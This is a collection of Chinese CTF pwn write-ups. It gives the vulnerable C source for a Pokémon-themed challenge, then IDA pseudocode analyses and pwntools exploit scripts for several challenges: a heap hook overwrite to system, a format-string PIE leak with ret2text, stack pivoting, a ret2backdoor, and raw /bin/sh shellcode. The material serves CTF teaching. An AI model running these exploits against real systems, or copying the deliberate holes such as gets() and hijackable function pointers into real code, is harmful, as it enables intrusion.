264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define MAXMAX 9999
#define MINMIN 1
struct pokemon{
char name[16];
unsigned int hp;
unsigned int attack;
unsigned int speed;
unsigned int defence;
};
void init();
void Start_choose(struct pokemon** mypoke);
void Start_print();
void Mainmenu();
void Outmenu();
void Skillmenu();
void Out(struct pokemon** mypoke);
void Store(struct pokemon** mypoke);
void Status(struct pokemon** mypoke);
void Pokemon_name(struct pokemon** mypoke,char* str);
void Pokemon_print(struct pokemon** mypoke);
int Fight(struct pokemon** mypoke,struct pokemon* emerypoke);
int money=0;
int change=0;
size_t *ex1t;
//函数指针 堆
int main()
{
init();
Start_print();
int choice;
char say[32];
struct pokemon* mypoke;
Start_choose(&mypoke);
puts("You open the Starter Pack and get a hundred coins");
money+=100;
printf("gift:%p\n",&puts);
while(1)
{
whilestart:
if(money <0){
puts("No money, you out:(");
break;
}
Mainmenu();
scanf("%d",&choice);
switch (choice)
{
case 1:
Store(&mypoke); //STORE
break;
case 2: //OUT
Out(&mypoke);
break;
case 3: //STATUS
Status(&mypoke);
break;
case 4:
/* code
_/
puts("\nWhat you want to say?");
gets(say);
_* (*
(void(
*)(char*
))ex1t[0])(say);
break;
case 666:
puts("Why does technology make Pokémon?");
struct pokemon* test;
test=(struct pokemon*)malloc(sizeof(struct pokemon));
read(0,&test->name[0],0x10);
test->hp=1;
test->speed=1;
test->attack=1;
test->defence=1;
puts("It's so weak...");
break;
default:
goto whilestart;
break;
}
//收集数据
//数据处理
//绘制图像
}
return 0;
}
void Outmenu()
{
puts("You walked into the Divine Beast Forest, hoping to meet the Divine Beast QWQ...");
puts("There are two roads in front of you, choose the one on the left or the one on the right.");
puts("1.left");
puts("2.right");
printf(">>>");
}
void Out(struct pokemon** mypoke)
{
int choice=0;
Outmenu();
scanf("%d",&choice);
switch (choice)
{
case 1:
struct pokemon
_QWQ;
puts("You're very lucky, it's the Divine Beast QWQ that roars in front of you, let's grab it and knock it out first!");
puts("QWQ: qwq~ qwq~ qwq~ qwq~ qwq~ qwq~");
_* QWQ=(struct pokemon*
)malloc(sizeof(struct pokemon));
QWQ->hp=MAXMAX;
QWQ->speed=15;
QWQ->defence=MAXMAX;
QWQ->attack=MAXMAX;
Pokemon_name(&QWQ,"QWQ");
if(Fight(mypoke,QWQ)){
puts("The soul of the mythical beast flew away...");
free(ex1t);
}else{
puts("Loser...");
}
free(QWQ);
break;
default:
struct pokemon
_TAT;
puts("You haven't encountered a beast, but you've encountered a TAT that guards the treasure, so try to stun it for some loot");
puts("TAT: WTF!");
_* TAT=(struct pokemon*
)malloc(sizeof(struct pokemon));
TAT->hp=MINMIN;
TAT->speed=15;
TAT->defence=MINMIN;
TAT->attack=MINMIN;
Pokemon_name(&TAT,"TAT");
if(Fight(mypoke,TAT)){
puts("Your earn some money~");
money+=200;
}else{
puts("Loser...");
}
free(TAT);
break;
}
}
void Skillmenu()
{
puts("When the battle begins, choose the skill you want to use");
puts("1.Attack 2.Defence");
puts("3.Escape 4.Surrender");
printf(">>>");
}
int Fight(struct pokemon** mypoke,struct pokemon* emerypoke)
{
int myspeed = (*mypoke)->speed;
int emspeed = emerypoke->speed;
int myhp=(*mypoke)->hp;
int emhp=emerypoke->hp;
int faster=0;
while (1)
{
int choice=0;
Skillmenu();
scanf("%d",&choice);
switch (choice)
{
case 1:
//速度计算
if(myspeed>emspeed){//我方速度比较快
myspeed -= emerypoke->speed;
faster=1;
}else{
emspeed -= (*mypoke)->speed;
faster=0;
}
//攻击防御计算 //血量计算
if(faster){
emhp = emhp - (((*mypoke)->attack/2)-(emerypoke->defence/3));
}else{
myhp = myhp - ((emerypoke->attack/2)-((*mypoke)->defence/3));
}
myspeed+=(*mypoke)->speed;
emspeed+=emerypoke->speed;
if(myhp <= 0){
puts("Game Over :(");
return 0;
}
else if(emhp <= 0){
puts("Congratulations! You win!");
return 1;
}
break;
case 2:
if(emerypoke->attack > (*mypoke)->defence){
puts("Even if you defend, the other party still kills you in seconds");
return 0;
}else{
puts("The defense succeeded, but nothing happened");
}
break;
case 3:
if(emerypoke->speed > (*mypoke)->speed){
puts("You're not fast enough to escape the fight");
return 0;
}else{
puts("Escape!");
return 0;
}
break;
case 4:
return 0;
break;
default:
break;
}
}
}
void Store(struct pokemon** mypoke)
{
int choice=0;
store_again:
puts("I'm a merchant from GuanDu city, what do you want to buy?");
puts("1.Attack agents");
puts("2.Defensive agents");
puts("3.Poké Ball");
puts("4.EXIT");
printf(">>>");
scanf("%d",&choice);
switch (choice)
{
case 1:
money-=75;
(*mypoke)->attack+=10;
(*mypoke)->defence-=10;
break;
case 2:
money-=75;
(*mypoke)->attack-=10;
(
_mypoke)->defence+=10;
break;
case 3:
money-=75;
puts("Are you sure this is not a name change card?");
_* char*
newname=malloc(15);
change++;
//scanf("%15s",newname);
//Pokemon_name(mypoke,newname);
break;
case 4:
break;
default:
goto store_again;
break;
}
puts("You say: f**king Black-hearted businessman");
}
void Status(struct pokemon** mypoke)
{
printf("Your money: %d\n",money);
puts("The status of your Pokémon is as follows");
Pokemon_print(mypoke);
puts("Over~");
return ;
}
void Pokemon_print(struct pokemon** mypoke)
{
printf("Pokemon name:%s\n",&(*mypoke)->name[0]);
printf("Hp:%u\n",(*mypoke)->hp);
printf("AT:%u\n",(*mypoke)->attack);
printf("DE:%u\n",(*mypoke)->defence);
printf("SP:%u\n",(*mypoke)->speed);
return;
}
void Pokemon_name(struct pokemon** mypoke,char* str)
{
for(int i=0;i<15;i++)
{
(*mypoke)->name[i]=str[i];
}
}
void Start_choose(struct pokemon** mypoke)
{
int choice=0;
Start_choose_again:
puts("Please choose a pokemon to follow you");
puts("1.Pika!");
puts("2.Little Fire Dragon!");
puts("3.Wonderful frog seeds!");
puts("4.Jenny Turtle!");
printf(">>>");
scanf("%d",&choice);
switch (choice)
{
case 1:
*mypoke = (struct pokemon*
)malloc(sizeof(struct pokemon));
(*mypoke)->hp=21;
(*mypoke)->speed=16;
(*mypoke)->defence=8;
(*mypoke)->attack=14;
Pokemon_name(mypoke,"Pikapi");
break;
case 2:
*mypoke = (struct pokemon*
)malloc(sizeof(struct pokemon));
(*mypoke)->hp=25;
(*mypoke)->speed=12;
(*mypoke)->defence=14;
(*mypoke)->attack=14;
Pokemon_name(mypoke,"Charmander");
break;
case 3:
*mypoke = (struct pokemon*
)malloc(sizeof(struct pokemon));
(*mypoke)->hp=31;
(*mypoke)->speed=10;
(*mypoke)->defence=11;
(*mypoke)->attack=10;
Pokemon_name(mypoke,"Bulbasaur");
break;
case 4:
*mypoke = (struct pokemon*
)malloc(sizeof(struct pokemon));
(*mypoke)->hp=28;
(*mypoke)->speed=9;
(*mypoke)->defence=20;
(*mypoke)->attack=9;
Pokemon_name(mypoke,"Squirtle");
break;
default:
goto Start_choose_again;
break;
}
}
void Mainmenu()
{
puts("1.Store");
puts("2.Out");
puts("3.Status");
puts("4.exit_the_world");
printf(">>>");
}
void init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
ex1t=(size_t*)malloc(sizeof(struct pokemon));
size_t temp=&exit;
memcpy(ex1t,&temp,8);
return;
}
void Start_print()
{
puts(",-.----. ____ ");
puts("\\ / \\ ,-. ,' ,
`. "); puts("| : \\ ,--/ /| ,-+-,.' _ | "); puts("| | .\\ : ,---. ,--. :/ | ,-+-. ; , || ,---. ,---, "); puts(". : |: | ' ,'\\ : : ' / ,--.'|' | ;| ' ,'\\ ,-+-. / | "); puts("| | \\ : / / || ' / ,---. | | ,', | ': / / | ,--.'|' | "); puts("| : . /. ; ,. :' | : / \\ | | / | | ||. ; ,. :| | ,\"' | "); puts("; | |
`-' ' | |: :| | \\ / / |' | : | : |,' | |: :| | / | | ");
puts("| | ; ' | .; :' : |. \\ . ' / |; . | ; |--' ' | .; :| | | | | ");
puts(": ' | | : || | ' \\ \' ; /|| : | | , | : || | | |/ ");
puts(": : : \\ \\ / ' : |--' ' | / || : ' |/ \\ \\ / | | |--' ");
puts("| | :
`----' ; |,' | : |; | |
`-'
`----' | |/ "); puts("
`---'.| '--' \\ \\ / | ;/ '---' ");
puts("
`---
` `----' '---' ");
puts("Welcome to my Pokémon World, where you are now in the small town of Kinan, where people and elves get along in harmony! Hey! Your dream is to collect the world's most famous mythical QWQ, come on adventurers, and embark on your adventure!");
}
0x1 逆向
checksec 查看保护,全保护,将就着看吧。
拖进 ida 分析,此时要先看 init 函数,因为里面可能藏了点东西,ex1t 是一个指针,分配了一个 chunk 给它。
然后给堆上内存赋值 exit 的地址。
1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 init()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
ex1t = malloc(0x20uLL);
*(_QWORD *)ex1t = &exit;
return v1 - __readfsqword(0x28u);
}
来到 main 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-44h] BYREF
_BYTE v5[8]; // [rsp+10h] [rbp-40h] BYREF
void *buf; // [rsp+18h] [rbp-38h]
_BYTE v7[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v8; // [rsp+48h] [rbp-8h]
v8 = __readfsqword(0x28u);
init(argc, argv, envp);
Start_print();
Start_choose(v5);
puts("You open the Starter Pack and get a hundred coins");
money += 100;
printf("gift:%p\n", &puts);
while ( money >= 0 )
{
Mainmenu();
__isoc99_scanf("%d", &v4);
if ( v4 == 666 )
{
puts(aWhyDoesTechnol);
buf = malloc(0x20uLL);
read(0, buf, 0x10uLL);
*((_DWORD *)buf + 4) = 1;
*((_DWORD *)buf + 6) = 1;
*((_DWORD *)buf + 5) = 1;
*((_DWORD
_)buf + 7) = 1;
puts("It's so weak...");
}
else if ( v4 <= 666 )
{
if ( v4 == 4 )
{
puts("\nWhat you want to say?");
gets(v7);
_* (*
(void (__fastcall **)(_BYTE *))ex1t)(v7);
}
else if ( v4 <= 4 )
{
switch ( v4 )
{
case 3:
Status(v5);
break;
case 1:
Store(v5);
break;
case 2:
Out(v5);
break;
}
}
}
}
puts("No money, you out:(");
return 0;
}
有个菜单,开局还送 libc 地址,这怎么输?
但是首先会先让你选精灵,money+=100,之后,就可以根据菜单去做题了。
1
2
3
4
5
6
7
8
int Mainmenu()
{
puts("1.Store");
puts("2.Out");
puts("3.Status");
puts("4.exit_the_world");
return printf(">>>");
}
Start_choose 函数
开局选精灵
1
2
3
4
5
puts("Please choose a pokemon to follow you");
puts("1.Pika!");
puts("2.Little Fire Dragon!");
puts("3.Wonderful frog seeds!");
puts("4.Jenny Turtle!");
这里不急,我们往下面分配内存的代码看。
无论选什么都会分配 0x20(实际上是 0x20+0x10,具体请看 ctfwiki 堆概况章节)的堆块,这里我们并不知道每一个的意思,但是猜出这是一个结构体,和精灵有关,最有可能想到的是精灵的属性,想不到也不用管。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
unsigned __int64 __fastcall Start_choose(__int64 a1)
{
int v2; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
v2 = 0;
while ( 1 )
{
puts("Please choose a pokemon to follow you");
puts("1.Pika!");
puts("2.Little Fire Dragon!");
puts("3.Wonderful frog seeds!");
puts("4.Jenny Turtle!");
printf(">>>");
__isoc99_scanf("%d", &v2);
if ( v2 == 4 )
break;
if ( v2 <= 4 )
{
switch ( v2 )
{
case 3:
*(_QWORD *)a1 = malloc(0x20uLL);
*(_DWORD
*)(*
(_QWORD *)a1 + 16LL) = 31;
*(_DWORD
*)(*
(_QWORD *)a1 + 24LL) = 10;
*(_DWORD
*)(*
(_QWORD *)a1 + 28LL) = 11;
*(_DWORD
*)(*
(_QWORD *)a1 + 20LL) = 10;
Pokemon_name(a1, "Bulbasaur");
return v3 - __readfsqword(0x28u);
case 1:
*(_QWORD *)a1 = malloc(0x20uLL);
*(_DWORD
*)(*
(_QWORD *)a1 + 16LL) = 21;
*(_DWORD
*)(*
(_QWORD *)a1 + 24LL) = 16;
*(_DWORD
*)(*
(_QWORD *)a1 + 28LL) = 8;
*(_DWORD
*)(*
(_QWORD *)a1 + 20LL) = 14;
Pokemon_name(a1, "Pikapi");
return v3 - __readfsqword(0x28u);
case 2:
*(_QWORD *)a1 = malloc(0x20uLL);
*(_DWORD
*)(*
(_QWORD *)a1 + 16LL) = 25;
*(_DWORD
*)(*
(_QWORD *)a1 + 24LL) = 12;
*(_DWORD
*)(*
(_QWORD *)a1 + 28LL) = 14;
*(_DWORD
*)(*
(_QWORD *)a1 + 20LL) = 14;
Pokemon_name(a1, "Charmander");
return v3 - __readfsqword(0x28u);
}
}
}
*(_QWORD *)a1 = malloc(0x20uLL);
*(_DWORD
*)(*
(_QWORD *)a1 + 16LL) = 28;
*(_DWORD
*)(*
(_QWORD *)a1 + 24LL) = 9;
*(_DWORD
*)(*
(_QWORD *)a1 + 28LL) = 20;
*(_DWORD
*)(*
(_QWORD *)a1 + 20LL) = 9;
Pokemon_name(a1, "Squirtle");
return v3 - __readfsqword(0x28u);
}
case1 :Store
是一个商店,卖攻击药剂和防御药剂还有精灵球,买精灵球会有 change++,猜测是改名机会。
防御剂是攻击下降,防御上升。攻击剂是攻击上升,防御下降。
攻击是 a1+20
防御是 a1+28
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
unsigned __int64 __fastcall Store(__int64 a1)
{
int v2; // [rsp+1Ch] [rbp-14h] BYREF
void *v3; // [rsp+20h] [rbp-10h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2 = 0;
while ( 1 )
{
puts("I'm a merchant from GuanDu city, what do you want to buy?");
puts("1.Attack agents");
puts("2.Defensive agents");
puts(a3Pok);
puts("4.EXIT");
printf(">>>");
__isoc99_scanf("%d", &v2);
if ( v2 == 4 )
break;
if ( v2 <= 4 )
{
switch ( v2 )
{
case 3:
money -= 75;
puts("Are you sure this is not a name change card?");
v3 = malloc(0xFuLL);
++change;
goto LABEL_11;
case 1:
money -= 75;
*(_DWORD
*)(*
(_QWORD *)a1 + 20LL) += 10;
*(_DWORD
*)(*
(_QWORD *)a1 + 28LL) -= 10;
goto LABEL_11;
case 2:
money -= 75;
*(_DWORD
*)(*
(_QWORD *)a1 + 20LL) -= 10;
*(_DWORD
*)(*
(_QWORD *)a1 + 28LL) += 10;
goto LABEL_11;
}
}
}
LABEL_11:
puts("You say: f**king Black-hearted businessman");
return v4 - __readfsqword(0x28u);
}
case 2 : out
外出函数,分析下来就是左转遇到小精灵能够赚钱,右转遇到神兽,打赢了就会 free 掉一个(ex1t 所在的)chunk。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned __int64 __fastcall Out(__int64 a1)
{
int v2; // [rsp+1Ch] [rbp-14h] BYREF
void *ptr; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2 = 0;
Outmenu();
__isoc99_scanf("%d", &v2);
if ( v2 != 1 )
{
puts(
"You haven't encountered a beast, but you've encountered a TAT that guards the treasure, so try to stun it for some loot");
puts("TAT: WTF!");
ptr = malloc(0x20uLL);
*((_DWORD *)ptr + 4) = 1;
*((_DWORD *)ptr + 6) = 15;
*((_DWORD *)ptr + 7) = 1;
*((_DWORD *)ptr + 5) = 1;
Pokemon_name(&ptr, "TAT");
if ( (unsigned int)Fight(a1, ptr) )
{
puts("Your earn some money~");
money += 200;
goto LABEL_8;
}
LABEL_7:
puts("Loser...");
goto LABEL_8;
}
puts("You're very lucky, it's the Divine Beast QWQ that roars in front of you, let's grab it and knock it out first!");
puts("QWQ: qwq~ qwq~ qwq~ qwq~ qwq~ qwq~");
ptr = malloc(0x20uLL);
*((_DWORD *)ptr + 4) = 9999;
*((_DWORD *)ptr + 6) = 15;
*((_DWORD *)ptr + 7) = 9999;
*((_DWORD *)ptr + 5) = 9999;
Pokemon_name(&ptr, "QWQ");
if ( !(unsigned int)Fight(a1, ptr) )
goto LABEL_7;
puts("The soul of the mythical beast flew away...");
free(ex1t);
LABEL_8:
free(ptr);
return v4 - __readfsqword(0x28u);
}
这里用到了 Fight 函数让两个精灵进行决斗。
Fight 函数里面选攻击就好了(就不逆向了,都是一些实现蘸豆的逻辑),但是你要速度快并且一刀能打死 QWQ。
case 3 : Status
对当前状况进行查看
1
2
3
4
5
6
7
int __fastcall Status(__int64 a1)
{
printf("Your money: %d\n", money);
puts(aTheStatusOfYou);
Pokemon_print(a1);
return puts("Over~");
}
case 4 : ex1t
使用了函数指针执行退出函数,并且能够控制第一个参数
1
2
3
4
5
6
if ( v4 == 4 )
{
puts("\nWhat you want to say?");
gets(v7);
(*(void (__fastcall **)(_BYTE *))ex1t)(v7);
}
case 666 : gift
会分配一个 0x20 大小的堆,并且能够改写一部分内存。
1
2
3
4
5
6
7
8
9
10
11
if ( v4 == 666 )
{
puts(aWhyDoesTechnol);
buf = malloc(0x20uLL);
read(0, buf, 0x10uLL);
*((_DWORD *)buf + 4) = 1;
*((_DWORD *)buf + 6) = 1;
*((_DWORD *)buf + 5) = 1;
*((_DWORD *)buf + 7) = 1;
puts("It's so weak...");
}
0x2 思路
开局给了 libc 地址,这怎么输?
1
2
3
4
5
6
ptr = malloc(0x20uLL);
*((_DWORD *)ptr + 4) = 9999;
*((_DWORD *)ptr + 6) = 15;
*((_DWORD *)ptr + 7) = 9999;
*((_DWORD *)ptr + 5) = 9999;
Pokemon_name(&ptr, "QWQ");
简单观察神兽只有这项属性 ((_DWORD *)ptr + 6) = 15 最低,ptr 是我们堆刚开始的地方
这里 Dword 是 4 字节,所以也就是 ptr+6*4=ptr+24
我们选精灵的时候,要选这个属性大于 QWQ 的,才有可能取得胜利。
也就是我们的 Pikapi!
在 FIght 函数逻辑中,有以下片段,这里其实都是通过计算精灵的属性值,来实现蘸豆。我们不妨设想一下,它们中很有可能就包含精灵的攻击属性和防御属性。虽有大部分都是 int 类型,但是实际上是无符号类型在运算
*(_QWORD *)
允许你在不知道原始数据类型的情况下,以特定的方式(这里是 64 位无符号整数)解释和访问内存中的数据。
所以我们选取皮卡丘,在打败两次小怪之后,买防御剂,让自己的攻击溢出到负数,但是比较用的是 Qword 所以实际上还是 unsigned int,此时速度比 QWQ 快,能够一击秒杀 QWQ。这样会 free 掉特殊堆块,利用 case666,然后申请两次申请回特殊堆块(因为第一次是 QWQ 的堆块。),之后改写 ex1t 的 hook 为 system 即可 getshell。
free 掉的两个堆块进入 bin
0X3 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(log_level="debug")
p=process("./pokemon_master")
#p=remote("43.248.97.213",30058)
def cmd(i):
p.sendlineafter(">>>",str(i))
#choose pikapi
cmd(1)
#recv libcaddr
p.recvuntil("gift:0x")
puts_addr=int(p.recv(12)[-12:].rjust(16,b'0'),16)
print("puts",hex(puts_addr))
libcbase=puts_addr-0x080e50
system=libcbase+0x050d70
#attack TAT
cmd(2)
cmd(2)
cmd(1)
#buy defense agents
cmd(1)
cmd(2)
cmd(1)
cmd(2)
cmd(3)
#gdb.attach(p)
#attack QWQ
cmd(2)
cmd(1)
cmd(1)
#one gadgte
one=[0x50a47+libcbase,0xebc81+libcbase,0xebc85+libcbase,0xebc88+libcbase]
#CMD 666 backdoor
cmd(666)
p.sendline(p64(system))
cmd(666)
p.sendline(p64(system))
print("libcbase",hex(libcbase))
#gdb.attach(p,"b *$rebase(0x137b)")
cmd(4)
p.sendline("/bin/sh\x00")
p.interactive()
c_master_plus
Author: C_LBY (Xp0int) Solve: 5 Pts: 368
题目描述:
简单的已经难不倒你了,来试试升级成为真正的 c_master_plus 吧!
0x00 分析
这道题考点是利用 fmt 漏洞泄露(绕过)PIE 地址随机化保护 + 栈溢出 ret2text。程序开了 PIE,但是没开 canary 保护。所以需要利用程序中的 fmt 漏洞泄露出程序基址,在 Ubuntu22(libc2.35)的本地环境下偏移 19 处可以泄露出来_start 函数的真实地址,但是由于这道题没有给出 libc,实际容器中可能在 19 偏移泄露出来的东西不对,那就需要自己 fuzz 一下(说人话就是在 19 附近爆破一下偏移)找到这个地址。
题目给了后门,直接用程序基址加上后门就可以在 gets 函数处进行栈溢出得到 shell。
0x01 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.log_level = 'debug'
r = process('./c_master_plus')
payload = b'%19$p'
# gdb.attach(r, 'b *$rebase(0x1358)')
# pause()
r.recvuntil(b'buf> ')
r.send(payload)
base = int(r.recv(14), 16)-0x1160 #_start
print(hex(base))
backdoor = base+0x143A
r.send(b'%s')
payload = b'a'*0x78+p64(backdoor)
r.send(payload)
r.interactive()
明日方舟寻访模拟器
Author: C_LBY (Xp0int) Solve: 2 Pts: 461
题目描述:
游戏里抽卡总不爽,试试模拟器吧!诶怎么抽着抽着 getshell 了?!
Hint:
0x00 分析
这是一道非常简单的 ret2text。逆向看起来虽然复杂,实际上只是因为 IDA 解析不了中文导致伪代码看起来都是一堆地址非常乱。实际只要运行一下程序就能搞清楚程序的逻辑了。
可以注意到在 main 函数里面就有 system 函数,只不过执行的不是 binsh 而是 clear,所以需要传参。
又可以注意到,选项输入 4 后输入 1,可以触发一个栈溢出。
这道题需要关注的东西并没有那么多。发现了 system 函数和栈溢出之后其实这道题思路就非常明确了,但是还差一个/bin/sh 还没有找到。溢出的字节数是 0x60-0x40-0x8=0x18,所以想要 ret2libc 是不够的,想要调用 read 把 binsh 写到 bss 段也不行,怎么办呢?
可以注意到,bss 段有一个变量 sum_count,他记录了总的寻访次数。因为选项 3 可以最大每次 +10000,而且几乎没有大小限制,因此我们可以利用这个变量来构造 binsh。如果不熟悉/bin/sh 这个字符串构造下来是什么样的也没有关系,我们可以借助一些工具,比如 cyberchef 的 to hexdump。
根据 elf 小端序储存的规则,我们在计算十进制的时候,需要把 dump 出来的十六进制倒过来写。无论如何,会发现这个数字十分地庞大,int 类型的数据根本装不下。所以我们把/bin/sh 压缩成 sh 就可以了,system(“sh”)也是可以弹 shell 的。
所以我们只要让 sum_count 变成 26739,我们就可以把它当作参数传进去给 system 来 getshell 了。
接下来可能还会遇到一个栈平衡问题,如果使用 plt 表中的 system,可能会出现栈平衡问题导致打不通,聪明的同学应该想到了使用 ret 来规避这个问题,但是打不通的原因是,栈溢出的字节并不够用多一个 ret。因此只能使用 main 函数中的 call system 这个 gadget。
最后还要注意一下 close(1)的问题,关闭了标准输出流,getshell 后要用 cat flag >&2 来输出
0x01 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
# r = process("./arknights")
r = remote('43.248.97.213', 30168)
context.log_level = 'debug'
rdi = 0x401935
ret = 0x40101a
system = 0x401785
count = 0x405B60 # sh
payload = b'a'*0x48+p64(rdi)+p64(count)+p64(system)
def ck(n):
r.recv()
r.sendline(b'3')
r.recv()
r.sendline(str(n).encode())
r.sendline(b'\n')
r.sendline(b'a')
ck(10000)
ck(10000)
ck(6739)
r.recv()
r.sendline(b'4')
r.recv()
r.sendline(b'1')
r.sendline(payload)
r.interactive()
0x02 exp(stack pivoting)
这道题还有个栈迁移的打法,不细讲,只贴 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
r = process('./arknight')
e = ELF('./arknight')
context.log_level = 'debug'
bss = e.bss()+0x100
rdi = 0x401935
ret = 0x40101a
leave = 0x401393
main_read = 0x4018EF
system = e.plt['system']
call_sys = 0x401785
r.send(b'\n')
r.sendline(b'4')
r.sendline(b'1')
payload = b'a'*0x40+p64(bss+0x40)+p64(main_read)
r.send(payload) # 此时rbp在bss+0x100+0x40,rsp依然在栈上
sleep(1)
payload = b'a'*8+p64(rdi)+p64(bss+0x20)+p64(call_sys)+b'/bin/sh\x00'
payload = payload.ljust(0x40, b'a')+p64(bss)+p64(leave)
# 这里有两次leave ret
# 第一次rsp会跳到bss+0x100+0x40+0x10的位置,rbp会调到bss+0x500
# 第二次rsp会跳到bss+0x100,rbp会调到aaaaaaaa的位置,然后rsp就会从bss+0x100+8的位置开始执行
r.send(payload)
r.interactive()
QQbot
Author: C_LBY (Xp0int) Solve: 0 Pts: 500
题目描述:
最近 Haruka 和 Hisola 在捣鼓 QQ 机器人,C_LBY 也想搞,于是学习了一种轻便高效的数据存储和交换格式,写了一个程序。奈何学艺不精,才开发到一半就被发现了有很多安全问题。你能帮他找到这些问题吗?
Hint:
详细 wp 见
https://c-lby.top/2024/11/01/2024xsctf-QQbot-wp/
【新生专属】rock_paper_scissors
出题人:qy 解出:22 分数 112
题目描述:
石头剪刀布!赢了就能拿 shell
非常简单的 ret2backdoor,checksec 可以发现保护只开了 NX
把附件拖进 ida 中,shift+F12 查找字符串,发现 system 和/bin/sh,那么这题大概率是有后门函数的。
双击跳转,然后 ctrl+x 查找交叉引用,最终发现 final 函数就可以直接拿到 shell
final 函数的地址是 0x4012DF
再看 main 函数,可以很快发现 scanf 和 gets 两个危险函数,任选其一进行栈溢出即可
V6 在[rbp-30h]的位置,所以填充数据要用 0x30+8(ebp)
1
2
3
4
5
6
7
8
9
from pwn import *
p = process('./rock_paper_scissors')
#p=remote("xxxxx",xxxxx)
elf = ELF('./shi')
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
payload=b'a'*(0x30+8)+p64(0x4012DF)
p.sendline(payload)
p.interactive()
toolong
出题人:qy 解出:8 分数:298
一道 shellcode 题,保护只开了 pie
.text:00000000000012D0 lea rax, [rbp+s]
.text:00000000000012D7 call rax
直接反编译会在 12D7 的 call 位置报错,通过查看汇编代码我们可以知道这里的作用是直接执行 s 中的命令
我们可以先切换到 ida 中的 hex view 窗口,把 12D7 位置的十六进制数据替换成 00(按 F2 修改),然后返回 main 函数就能看到反汇编后的伪代码了
可以看到当 strlen(s)<=v7 且 strlen(s)<=0x18 时,才会执行 s 中的代码,否则输出“too long!“,但是 v7 被赋的初值是 1,我们想要输入一个字符就拿到 shell,显然是不太现实的。那么有没有什么办法能延长我们可输入的代码呢?
这时候往前看,buf 的长度是 72,而第一个 read 往 buf 里面可读入 0x51=81 个字节,可以构成 9 字节的溢出
而要知道 v7 是放在栈上的变量,双击 v7 可以发现 v7(var_8)被放在 ebp-0x8 的位置,而 buf 在 ebp-0x50,二者紧邻,也就是说把 buf 填满后接着溢出就可以修改 v7(var_8)的值,将其修改为一个足够大的数便能绕过 if 的第一个条件检测
1
2
3
4
5
-0000000000000050 buf db 72 dup(?)
-0000000000000008 var_8 dd ?
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
if 的第二个判断是 strlen(s)<=0x18,常规的有限长度 shellcode。本题没有其他任何限制所以只要长度符合要求都可以使用,以下给出一例:
1
2
3
4
5
6
7
8
9
10
48 31 f6 ; xor rsi, rsi
56 ; push rsi
48 bf 2f 62 69 6e 2f 2f 73 68 ; movabs rdi, 0x68732f2f6e69622f ("/bin//sh")
57 ; push rdi
54 ; pop rsp
5f ; pop rdi
6a 3b ; push 0x3b
58 ; pop rax
99 ; cdq
0f 05 ; syscall
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
一道shellcode题,保护只开了pie
.text:00000000000012D0 lea rax, [rbp+s]
.text:00000000000012D7 call rax
直接反编译会在12D7 的call位置报错,通过查看汇编代码我们可以知道这里的作用是直接执行s中的命令
我们可以先切换到ida中的hex view窗口,把12D7位置的十六进制数据替换成00(按F2修改),然后返回main函数就能看到反汇编后的伪代码了
可以看到当strlen(s)<=v7且strlen(s)<=0x18时,才会执行s中的代码,否则输出“too long!“,但是v7被赋的初值是1,我们想要输入一个字符就拿到shell,显然是不太现实的。那么有没有什么办法能延长我们可输入的代码呢?
